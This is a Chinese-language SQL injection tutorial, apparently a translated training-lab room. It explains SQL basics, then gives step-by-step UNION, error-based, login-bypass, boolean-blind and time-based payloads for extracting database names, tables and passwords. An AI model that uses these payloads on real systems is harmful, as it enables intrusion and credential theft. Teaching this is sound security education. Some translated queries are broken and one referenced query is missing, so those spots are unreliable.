SQL注入,通常称为SQLi,是对 Web 应用程序数据库服务器的攻击,导致执行恶意查询。当 Web 应用程序使用未经适当验证的用户输入与数据库通信时,攻击者有可能窃取、删除或更改私人和客户数据,还可以攻击 Web 应用程序的身份验证方法以访问私人或客户区域。
数据库是以有组织的方式电子存储数据的一种方法。数据库由数据库管理系统(DBMS)控制,DBMS 是数据库管理系统的缩写,DBMS 分为两类:关系型和非关系型。
在 DBMS 中,可以有多个数据库,每个数据库包含自己的一组相关数据。
你可以使用称为表的东西将此信息单独存储在数据库中,表由列和行组成,表的每个列都有一个唯一的id。
表由列和行组成,可以将表想象为一个网格,列横跨从左到右,包含单元格名称,行从上到下,每行都有实际数据。
每一列,最好称为字段,都有每个表的唯一名称。创建列时,还会设置它将包含的数据类型,常见的类型包括整型、字符串或日期。某些数据库可以包含更复杂的数据,例如包含位置信息的地理空间数据。设置数据类型还确保不会存储不正确的信息,例如将字符串 "hello world" 存储在日期列中。如果发生这种情况,数据库服务器通常会生成错误消息。包含整数的列还可以启用自动增量功能;这为每一行数据提供一个随着每一行的增加而增长(增量)的唯一数字,这创建了所谓的键字段,键字段对于每一行的数据都必须是唯一的,可以用于在 SQL 查询中找到确切的行。
行或记录包含个别数据行。向表添加数据时,将创建一个新的行/记录,而删除数据时,将删除一行/记录。
关系型数据库将信息存储在表中,通常表之间有共享信息,它们使用列来指定和定义存储的数据,并使用行来实际存储数据。表通常包含一个具有唯一 ID(主键)的列,该 ID 将在其他表中用于引用它并在表之间建立关系,因此称为关系型数据库。
非关系型数据库有时称为 NoSQL,它不使用表、列和行来存储数据,不需要构建特定的数据库布局,因此每一行数据可以包含不同的信息,这为非关系型数据库提供了比关系型数据库更大的灵活性。一些常见的这类数据库是 MongoDB、Cassandra 和 ElasticSearch。
SQL(结构化查询语言)是用于查询数据库的功能丰富的语言,这些 SQL 查询更好地称为语句。
尽管有些相似,但一些数据库服务器具有它们自己的语法和工作方式上的轻微变化。
值得注意的是,SQL 语法不区分大小写。
select * from users;
第一个单词 SELECT 告诉数据库我们想检索一些数据,* 告诉数据库我们想要从表中接收所有列的数据。例如,表可能包含三列(id、username 和 password)。"from users" 告诉数据库我们想要从名为 users 的表中检索数据。最后,分号表示查询的结束。
下一个查询与上面的类似,但这次,与使用 * 返回表中的所有列不同,我们只请求用户名和密码字段。
select username,password from users;
下面的查询与第一个相似,但这次,与使用 * 选择表中的所有列不同,“LIMIT 1” 子句强制数据库只返回一行数据。将查询更改为 "LIMIT 1,1" 强制查询跳过第一个结果,然后 "LIMIT 2,1" 跳过前两个结果,依此类推。需要记住,第一个数字告诉数据库要跳过多少个结果,而第二个数字告诉数据库要返回多少行。
select * from users LIMIT 1;
最后,我们将利用 where 子句;这是我们可以通过返回与我们的特定子句匹配的数据,只返回与我们的特定子句匹配的数据的方式:
select * from users where username='admin';
这将仅返回用户名等于 admin 的行。
select * from users where username != 'admin';
这将仅返回用户名不等于 admin 的行。
select * from users where username='admin' or username='jon';
这将仅返回用户名等于 admin 或 jon 的行。
select * from users where username='admin' and password='p4ssword';
这将仅返回用户名等于 admin,且密码等于 p4ssword 的行。
使用 like 子句允许你指定不是精确匹配的数据,而是以某些字符开始、包含或以某些字符结束的数据,通过选择放置通配符字符(由百分比符号 % 表示)的位置来选择。
select * from users where username like 'a%';
这将返回用户名以字母 a 开头的任何行。
select * from users where username like '%n';
这将返回用户名以字母 n 结尾的任何行。
select * from users where username like '%or%';
这将返回用户名中包含字母组合 or 的任何行。
UNION 语句用于组合两个或多个 SELECT 语句的结果集。结果集中的列数、列顺序和数据类型必须相同。这也是 SQL 攻击中的一种常见手法。
select username,password from users UNION select name,credit_card_number from customers;
在此查询中,我们尝试将两个表中的用户名和密码与客户表中的姓名和信用卡号组合在一起。这可能导致暴露敏感数据,因为攻击者可以通过 SQL 注入获取这些信息。
INSERT 语句用于向表中插入新记录。以下是一个基本示例:
insert into users (username, password) values ('newuser', 'newpassword');
这将在名为 users 的表中插入一行,包含用户名为 newuser,密码为 newpassword。
UPDATE 语句用于更新表中的现有记录。以下是一个基本示例:
update users set password='newpassword' where username='existinguser';
这将更改名为 existinguser 的用户的密码为 newpassword。
DELETE 语句用于从表中删除记录。以下是一个基本示例:
delete from users where username='user_to_delete';
这将从名为 users 的表中删除用户名为 user_to_delete 的行。
SQL 注入是一种通过将恶意 SQL 代码插入输入字段或 URI 中的查询字符串来攻击数据库的技术。这可能会导致攻击者能够访问或修改数据库中的敏感数据,绕过身份验证,甚至删除整个数据库。
以下面的场景为例,你遇到了一个在线博客,并且每个博客条目都有一个唯一的 ID 号。 博客条目可以设置为公开或私有,具体取决于它们是否准备好公开发布。 每个博客条目的 URL 可能如下所示:
https://website.thm/blog?id=1
从上面的 URL 中,你可以看到被选择的博客条目来自查询字符串中的 id 参数。 Web 应用程序需要从数据库检索文章,并且可能使用如下所示的 SQL 语句:
SELECT * from blog where id=1 and private=0 LIMIT 1;
让我们假设文章 ID 2 仍被锁定为私有,因此无法在网站上查看。 我们现在可以调用 URL:
https://website.thm/blog?id=2;--
然后,这将生成 SQL 语句:
SELECT * from blog where id=2;-- and private=0 LIMIT 1;
URL 中的分号表示 SQL 语句的结束,两个破折号会导致后面的所有内容都被视为注释。 通过这样做,你实际上只是运行查询:
SELECT * from blog where id=2;--
无论是否设置为公开,都会返回 id 为 2 的文章。
这是最常见的 SQL 注入类型。攻击者使用与应用程序相同的通道从数据库检索数据。有两种主要的 In-Band 注入:
select username, password from users where username = 'admin' union all select 1,2 from dual;
在这个例子中,'admin' 是正常的用户名,而 'union all select 1,2 from dual' 将返回一个额外的结果集,其中包含数字 1 和 2。
select * from users where username = 'admin' and 1=convert(int, (select @@version));
发现基于错误的 SQL 注入的关键是通过尝试某些字符来破坏代码的 SQL 查询,直到产生错误消息; 最常见的是单引号 (') 或双引号 (")。
假设你尝试在 id=1 后输入撇号 ( ' ),然后按 Enter 键。 返回一个 SQL 错误,通知你语法中存在错误。 你收到此错误消息这一事实证实了 SQL 注入漏洞的存在。 我们现在可以利用此漏洞并使用错误消息来了解有关数据库结构的更多信息。
我们需要做的第一件事是将数据返回到浏览器而不显示错误消息。 首先,我们将尝试 UNION 运算符,这样我们就可以获得我们选择的额外结果。 尝试将模拟浏览器 id 参数设置为:
1 UNION SELECT 1
此语句应该生成一条错误消息,通知你 UNION SELECT 语句的列数与原始 SELECT 查询的列数不同。 因此,让我们再试一次,但添加另一列:
1 UNION SELECT 1,2
再次出现同样的错误,所以让我们通过添加另一列来重复:
1 UNION SELECT 1,2,3
成功,错误消息消失了,并且正在显示文章,但现在我们想要显示我们的数据而不是文章。 正在显示该文章是因为它在网站代码中的某个位置获取第一个返回的结果并显示该结果。 为了解决这个问题,我们需要第一个查询不产生任何结果。 只需将文章 id 从 1 更改为 0 即可完成此操作。
0 UNION SELECT 1,2,3
现在,你将看到该文章仅由返回列值 1、2 和 3 的 UNION select 的结果组成。我们可以开始使用这些返回值来检索更多有用的信息。 首先,我们将获取我们有权访问的数据库名称:
0 UNION SELECT 1,2,database()
现在您将看到之前显示数字 3 的位置; 它现在显示数据库的名称,假设为sqli_one
我们的下一个查询将收集该数据库中的表的列表。
在此查询中有一些新内容需要学习。 首先, group_concat()从多个返回的行中获取指定的列(在我们的例子中为 table_name),并将其放入一个以逗号分隔的字符串中。 接下来是 information_schema数据库; 数据库的每个用户都可以访问它,并且它包含有关用户有权访问的所有数据库和表的信息。 在这个特定的查询中,我们感兴趣的是列出 sqli_one 数据库中的所有表。假设为article和staff_users。
如果我们的目标是发现 Martin 的密码,那么我们感兴趣的是 Staff_users 表。 我们可以再次利用 information_schema 数据库,使用以下查询查找该表的结构。
0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'staff_users'
查询结果为staff_users 表提供三列:id、password 和 username。 我们可以使用以下查询的用户名和密码列来检索用户的信息。
0 UNION SELECT 1,2,group_concat(用户名,':',密码 SEPARATOR '
') FROM Staff_users
我们再次使用 group_concat 方法将所有行返回到一个字符串中,并使其更易于阅读。 我们还添加了 ,':', 以将用户名和密码分开。 我们没有使用逗号分隔,而是选择了 HTML中的
标记,该标记强制每个结果位于单独的行上,以便于阅读。
盲注 SQLi
盲注 SQL 注入是当我们几乎没有反馈来确认我们注入的查询是否成功的情况,这是因为错误消息已被禁用,但注入仍然有效。
认证绕过
最直接的盲注 SQL 注入技术之一是绕过身份验证方法,如登录表单。在这种情况下,我们并不太关心从数据库中检索数据;我们只想通过登录。
与用户数据库连接的登录表单通常是这样开发的,即 Web 应用程序对用户名和密码的内容不感兴趣,而是更关心这两者是否在用户表中构成匹配对。简而言之,Web 应用程序向数据库询问“你是否有一个用户名为 bob,密码为 bob123 的用户?,数据库以是或否(真或假)回答,根据该答案决定是否允许 Web 应用程序让您继续。
考虑到上述信息,无需枚举有效的用户名/密码对。我们只需创建一个数据库查询,该查询以是/真作为回复。
select * from users where username='%username%' and password='%password%' LIMIT 1;
注意:**%username%** 和 **%password%** 的值取自登录表单字段,SQL 查询框中的初始值将为空,因为这些字段目前为空。
为了使其成为始终返回为真的查询,我们可以在密码字段中输入以下内容:
' OR 1=1;--
这将将 SQL 查询转换为以下形式:
select * from users where username='' and password='' OR 1=1;
由于 1=1 是一个真语句,并且我们使用了 OR 运算符,这将始终导致查询返回为真,从而满足 Web 应用程序的逻辑,即数据库找到了有效的用户名/密码组合,应该允许访问。
布尔型
布尔型 SQL 注入是指我们从注入尝试中收到的响应,可能是真/假、是/否、打开/关闭、1/0或仅具有两个结果的任何响应。这个结果向我们确认我们的 SQL 注入有效与否。乍一看,您可能觉得这种有限的响应不能提供太多信息。但事实上,仅使用这两个响应,就可以枚举整个数据库结构和内容。
https://website.thm/checkuser?username=admin
浏览器主体包含 {"taken":true} 的内容。此 API 端点模拟了许多注册表单上常见的功能,检查用户名是否已注册,以提示用户选择不同的用户名。由于 taken 值设置为 true,我们可以假定用户名 admin 已注册。实际上,通过将模拟浏览器地址栏中的用户名从 admin 更改为 admin123 并按回车键,您将看到 taken 的值现在已更改为 false
处理的 SQL 查询如下:
select * from users where username = '%username%' LIMIT 1;
由于我们唯一有控制权的输入是查询字符串中的用户名,我们必须使用它来执行我们的 SQL 注入。将用户名保持为 admin123,我们可以开始附加到此以尝试使数据库确认真实的事物,这将将已占用的字段状态从 false 更改为 true。
与以前的级别一样,我们的第一个任务是确定用户表中的列数,这可以通过使用 UNION 语句来实现。将用户名值更改为以下内容:
admin123' UNION SELECT 1;--
由于 Web 应用程序以 taken 值为 false 响应,我们可以确认这是列数不正确的值。继续添加更多列,直到我们有 taken 值为 true。您可以通过将用户名设置为以下值来确认答案为三列:
admin123' UNION SELECT 1,2,3;--
现在,我们已经确定了列数,可以开始枚举数据库。我们的第一个任务是发现数据库名称。我们可以通过使用内置的 database() 方法,然后使用 like 运算符来尝试找到将返回 true 状态的结果。
admin123' UNION SELECT 1,2,3 where database() like '%';--
我们得到一个真回应,因为在 like 运算符中,我们只有 % 的值,它将匹配任何内容,因为它是通配符值。如果我们将通配符运算符更改为 a%,您将看到响应变为 false,从而确认数据库名称不以字母 a 开头。我们可以循环浏览所有字母、数字和字符,例如 - 和 _,直到找到匹配。如果将以下内容发送为用户名值,您将收到一个 true 响应,确认数据库名称以字母 s 开头
admin123' UNION SELECT 1,2,3 where database() like 's%';--
现在,您可以继续到数据库名称的下一个字符,直到找到另一个 true 响应,例如 sa%、sb%、sc% 等。继续这个过程,直到发现数据库名称的所有字符,即 sqli_three
我们已经确认了数据库名称,现在可以使用它来使用类似的方法枚举表名,利用 information_schema 数据库中的信息。尝试将用户名设置为以下值:
admin123' UNION SELECT 1,2,3 FROM
information_schema.tables WHERE table_schema = 'sqli_three' and table_name like 'a%';--
此查询在 information_schema 数据库的 tables 表中寻找结果,其中数据库名称匹配 sqli_three,表名以字母 a 开头。由于上述查询导致 false 响应,我们可以确认 sqli_three 数据库中没有以字母 a 开头的表。与以前一样,您将需要循环浏览字母、数字和字符,直到找到积极匹配。
最后,您最终会发现 sqli_three 数据库中有一个名为 users 的表,您可以通过运行以下用户名负载来确认:
admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name='users';--
最后,我们现在需要枚举 users 表中的列名,以便我们可以正确搜索其中的登录凭据。再次使用 information_schema 数据库和我们已经获得的信息,我们可以开始查询列名。使用下面的负载,我们在数据库等于 sqli_three、表名等于 users 且列名以字母 a 开头的地方搜索 columns 表。
admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%';
再次循环浏览字母、数字和字符,直到找到匹配。由于您正在寻找多个结果,因此每次找到新的列名时,都必须将其添加到您的负载中,以免继续发现相同的列。例如,一旦找到名为 id 的列,你将将其追加到原始负载中(如下所示)。
admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%' and COLUMN_NAME !='id';
重复此过程三次将使您能够发现列 id、username 和 password。现在,您可以使用这些列在 users 表中查询登录凭据。首先,您需要发现一个有效的用户名,可以使用以下负载:
admin123' UNION SELECT 1,2,3 from users where username like 'a%
通过循环浏览所有字符,您将确认用户名 admin 的存在。现在您已经有了用户名,可以专注于发现密码。下面的负载显示了如何查找密码:
admin123' UNION SELECT 1,2,3 from users where username='admin' and password like 'a%
通过循环浏览所有字符,您将发现密码为 3845。
基于时间的盲注 SQL 注入与上述布尔型相似,因为发送的是相同的请求,但这次没有视觉指示您的查询是否正确或错误。相反,正确查询的指示是基于查询完成的时间。通过使用内置方法,如 SLEEP(x) 与 UNION 语句一起,引入时间延迟。SLEEP() 方法只会在成功的 UNION SELECT 语句中执行。
admin123' UNION SELECT SLEEP(5);--
如果响应时间没有暂停,我们知道查询失败了,因此与之前的任务一样,我们添加另一列:
admin123' UNION SELECT SLEEP(5),2;--
此负载应生成 5 秒的延迟,确认 UNION 语句的成功执行以及存在两列。
现在,你可以从基于布尔的 SQL 注入的枚举过程中重复此操作。